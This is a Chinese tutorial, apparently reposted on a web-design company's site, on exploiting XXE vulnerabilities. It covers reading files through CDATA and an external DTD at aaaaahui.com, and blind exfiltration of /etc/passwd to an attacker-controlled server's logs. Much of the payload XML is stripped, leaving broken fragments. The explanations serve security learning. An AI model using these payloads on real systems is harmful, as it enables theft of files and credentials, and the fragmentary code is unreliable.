如何理解XXE漏洞

这篇文章给大家介绍如何理解XXE漏洞,内容非常详细,感兴趣的小伙伴们可以参考借鉴,希望对大家能有所帮助。

成都创新互联服务项目包括昂仁网站建设、昂仁网站制作、昂仁网页制作以及昂仁网络营销策划等。多年来,我们专注于互联网行业,利用自身积累的技术优势、行业经验、深度合作伙伴关系等,向广大中小型企业、政府机构等提供互联网行业的解决方案,昂仁网站推广取得了明显的社会效益与经济效益。目前,我们服务的客户以成都为中心已经辐射到昂仁省份的部分城市,未来相信会继续扩大服务区域并继续获得客户的支持与信任!

读取文件时有特殊符号

在读取文件时,文件中包含"<,>,&"等这些特殊符号时,会被xml解析器解析,报错从而导致读取失败,例如尝试读取以下文件

C:\test.txt

内容:

payload:


]>
&xxe;

如何理解XXE漏洞

可以看到与读system.ini不同,这里报错了,想知道原因需要了解CDATA和PCDATA

PCDATA

PCDATA 指的是被解析的字符数据(Parsed Character Data)。

XML 解析器通常会解析 XML 文档中所有的文本。

当某个 XML 元素被解析时,其标签之间的文本也会被解析:

此文本也会被解析

解析器之所以这么做是因为 XML 元素可包含其他元素,就像这个例子中,其中的 元素包含着另外的两个元素(first 和 last):

BillGates

而解析器会把它分解为像这样的子元素:


Bill
Gates

CDATA

术语 CDATA 指的是不应由 XML 解析器进行解析的文本数据(Unparsed Character Data)。

在 XML 元素中,"<" 和 "&" 是非法的。

"<" 会产生错误,因为解析器会把该字符解释为新元素的开始。

"&" 也会产生错误,因为解析器会把该字符解释为字符实体的开始。

某些文本,比如 JavaScript 代码,包含大量 "<" 或 "&" 字符。为了避免错误,可以将脚本代码定义为 CDATA。

CDATA 部分中的所有内容都会被解析器忽略。

CDATA 部分由 "" 结束:

在上面的例子中,解析器会忽略 CDATA 部分中的所有内容。

关于 CDATA 部分的注释:

CDATA 部分不能包含字符串 "]]>"。也不允许嵌套的 CDATA 部分。

标记 CDATA 部分结尾的 "]]>" 不能包含空格或折行。

我们的思路就是把读取的文件放在CDATA中之后再调用,那么构造一个POC如下


 ]]>"
>]
% xxe;>
&start

但是还是读不出来,如下图:

如何理解XXE漏洞直接放正确的payload,然后再讲解原因




">
 %dtd;
]> 
&all;

http://aaaaahui.com/evil.dtd

如何理解XXE漏洞可以看到这个payload是可以成功读取文件的,对比两个payload

如何理解XXE漏洞

如何理解XXE漏洞

两个payload的逻辑都是一样的,不过第二个是调用的外部的dtd文档就可以,这是因为在xml中,xml 解析器有个限制:不能在内部 Entity 中引用,“PEReferences forbidden in internal subset in Entity ”指的就是禁止内部参数实体引用。

无回显xxe漏洞利用

现在很多xxe漏洞都是没有回显的,下面是再没有回显的时候可以的利用方式。

思路就是在没有回显的时候,我们将读取的文件带出来,举一个例子就是,我们如果将/etc/passwd文件赋给实体test,那么我们在访问http://www.aaaaahui.com/?%test时,我们服务器上的日志文件就会保存/etc/passwd的文件内容,下面进行实验:




%remote;
%send;
]>
1234

xml.dtd

">%start

%是%的html实体编码,因为在xml.dtd的实体中不能有%

实验如下图

如何理解XXE漏洞

查看日志文件

如何理解XXE漏洞

这里我们读取的文件已经带出来了,那么原理就是将文件赋给实体后带着访问我们的vps然后在日志文件中就能看到我们读取的文件了。

关于如何理解XXE漏洞就分享到这里了,希望以上内容可以对大家有一定的帮助,可以学到更多知识。如果觉得文章不错,可以把它分享出去让更多的人看到。


分享文章:如何理解XXE漏洞
分享路径:http://ybzwz.com/article/jhpjse.html